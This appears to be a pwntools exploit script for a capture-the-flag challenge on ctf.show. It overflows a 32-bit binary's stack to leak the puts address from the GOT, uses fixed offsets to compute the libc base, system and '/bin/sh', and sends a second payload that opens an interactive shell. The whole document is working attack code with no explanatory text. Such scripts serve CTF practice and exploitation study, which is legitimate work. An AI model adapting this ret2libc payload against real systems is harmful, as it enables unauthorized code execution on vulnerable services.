from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28270)
elf = ELF('stack1')
context.log_level = 'debug'

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = 0x080483C0

payload1 = b'A'*13 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
io.sendlineafter(b'32bits\n',payload1)
io.recv()
leak_addr = u32(io.recv(4))

print(hex(leak_addr))
libc_base_addr = leak_addr - 0x67360
system_addr = 0x3cd10 + libc_base_addr
bin_sh_addr = libc_base_addr + 0x17b8cf
payload2 = b'B'*13 + p32(system_addr) + p32(1234) + p32(bin_sh_addr)

io.sendlineafter(b'32bits\n',payload2)
io.interactive()